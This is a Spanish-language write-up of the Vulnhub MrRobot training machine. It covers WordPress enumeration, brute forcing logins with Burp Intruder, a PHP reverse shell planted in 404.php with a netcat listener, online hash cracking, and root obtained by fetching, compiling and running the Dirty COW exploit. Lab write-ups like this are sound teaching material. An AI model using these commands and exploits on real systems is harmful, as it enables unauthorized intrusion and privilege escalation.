Writeup #MrRobot #Vulnhub

Voy a mostrar como resolví la máquina vulnerable de MrRobot de vulnhub.

Primero hago un barrido de ping a la red para ver que IP se corresponde con la máquina vulnerable, en este caso usé un script que mostré en un post anterior.

Una vez que obtengo la IP, en mi caso la 192.168.1.102, hago un escaneo de servicios con nmap.

# nmap -A -T4 -Pn -n -oN scan_nmap.txt 192.168.1.102

mr_nmap

Vemos que solo tiene los servicios web abiertos en el puerto 80 y 443, por lo que accedemos al navegador para ver la página y que nos encontramos.

mr_web

Tras jugar un rato con los comandos llego a la conclusión de que ahí no se puede sacar nada.

Lo primero que suelo usar es Nikto para ver si tenemos alguna vulnerabilidad, o algún directorio o fichero crítico.

mr_nikto

Vemos varias cosas interesantes, como robots.txt, /admin, http://192.168.1.102/?p=23 (posible SQLi), readme.html, /wp-login, etc…

Si vamos a http://192.168.1.102/robots.txt nos encontramos un fichero y un directorio interesante:

mr_robots.txt

Uno es un diccionario de contraseñas y el otro es la flag 1 de 3.

Para el wordlist deberemos de buscar un login en el servidor web, en este caso como vimos en el log de Nikto la ruta es /wp-login.

mr_weblogin

Vale, tenemos ya un wordlist para las contraseñas, pero no tenemos ningún usuario, así que probé Wpscan a ver si me sacaba algún usuario.

mr_wpscan

No obtuvimos ningún usuario, así que toca recopilar información por la web a ver si encontramos algún usuario, email, o algún dato que nos pueda servir.

Para ello voy a usar dirb que es un spider web con un diccionario de ficheros, en este caso raft-medium-files.txt.

dirb http://192.168.1.102 /usr/share/wordlists/raft/raft-medium-files.txt

mr_dirb

Tras un rato buscando por los ficheros obtenidos con dirb no encontré ninguna información valiosa, solo en la página principal algunos posibles usuarios como mrrobot, root, friend_.

Como la máquina está basada en la serie de MrRobot, busqué en la Wikipedia
posibles usuarios que me pudieran valer para el login.

Antes de ponerme a hacer fuerza bruta con todos los usuarios y el wordlist de contraseñas, probé a ver si tenía alguna vulnerabilidad de enumeración de usuarios con el Intruder de Burpsuite.

mr_intruder_user1

  • Interceptamos la petición con un usuario aleatorio ‘a’ y contraseña ‘a’ al hacer login, y la enviamos al Intruder.
  • Pulsamos en el botón de la derecha clear para que nos limpie todas las variables.
  • Seleccionamos el valor del parámetro log y le damos al botón add para que nos pruebe las distintas combinaciones de usuarios.

mr_intruder_payload

  • Añadimos los usuarios en el menú Payloads.
  • Le damos al botón Start Attack.

mr_intruder_user

Bingo! vemos que la longitud de la respuesta del usuario ‘elliot‘ es diferente al resto, por lo que ya tenemos nuestro usuario, ahora queda hacer el mismo proceso pero con el wordlist de contraseñas.

Mirando la cantidad de contraseñas que tiene el diccionario vi que eran muchísimas, por lo que probé a ver si había repeticiones y me podía ahorrar algunas contraseñas.

mr_wordlists

Como se vé, pasamos de 858160 contraseñas a solo 11451.

Volvemos al Intruder y modificamos el usuario por elliot, y esta vez agregamos el valor de la variable pwd para que nos pruebe las diferentes combinaciones del wordlist.

mr_intruder2

Añadimos el wordlist al menú de Payloads con el botón Load.

mr_intruder_payload2

Aumentamos el número de threads en el menú Options, en mi caso puse 30 para que fuera más rápido.

mr_intruder_opt1

mr_intruder_opt2

Le damos a Start Attack y tras unos minutos, ordenando por tamaño de respuesta, vemos que obtenemos la contraseña.

mr_intruder_password

Usuario: elliot  Contraseña: ER28-0652

Entramos al dashboard y vamos al menú Users para ver que privilegios tenemos.

mr_web_users

Por suerte somos Administradores, por lo que podemos modificar cualquier fichero php y subir una reverse shell.

En este caso voy a editar el fichero 404.php y voy a usar la php reverse shell de pentestmonkey, modificando la IP y puerto donde queremos que se conecte.

mr_reverseshell

Ponemos un netcat a la escucha y ejecutamos el fichero desde el navegador (http://192.168.1.102/404.php).

nc -lvp 1234

Miramos que usuario se nos ha asignado por si acaso tuviéramos directamente root.

$ whoami

daemon

Navegando un poco por los directorios me encuentro la key-2-of-3.txt, pero para poder verlo necesitamos estar como usuario robot.

mr_key2

Tenemos otro fichero password.raw-md5‘ que contiene el hash de la contraseña del usuario robot. Antes de crackearlo con algún diccionario siempre pruebo en alguna página tipo crackstation o hashkiller por si hay suerte.

mr_hashkiller

Ahí tenemos la contraseña: abcdefghijklmnopqrstuvwxyz

Al intentar loguearnos en la cuenta de robot nos va a dar un problema en la terminal, para solucionarlo podemos invocar una TTY a través de Python con el siguiente comando:

echo “import pty; pty.spawn(‘/bin/bash’)” > /tmp/asdf.py
python /tmp/asdf.py

mr_key2_succ

Ya solo nos queda una key, que me imagino que estará en el directorio /root, al cual solo se puede acceder si eres root, por lo que habrá que buscar algún exploit o alguna vulnerabilidad con la que poder escalar privilegios.

$ uname -a

Linux linux 3.13.0-55-generic #94-Ubuntu SMP Thu Jun 18 00:27:10 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux

Para esta máquina voy a usar el tan conocido exploit Dirtyc0w, para ello seguimos los siguientes pasos:

$ wget -O cowroot.c https://www.exploit-db.com/download/40616

$ gcc cowroot.c -o cowroot -pthread

$ ./cowroot

# echo 0 > /proc/sys/vm/dirty_writeback_centisecs

# whoami

root

# cat /root/key-3-of-3.txt

04787ddef27c3dee1ee161b21670b4e4

mr_finish

Ahí tenemos el usuario root y ya podemos ver la última llave que nos quedaba!

Esta entrada fue publicada en Vulnhub. Guarda el enlace permanente.

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión /  Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión /  Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión /  Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión /  Cambiar )

Conectando a %s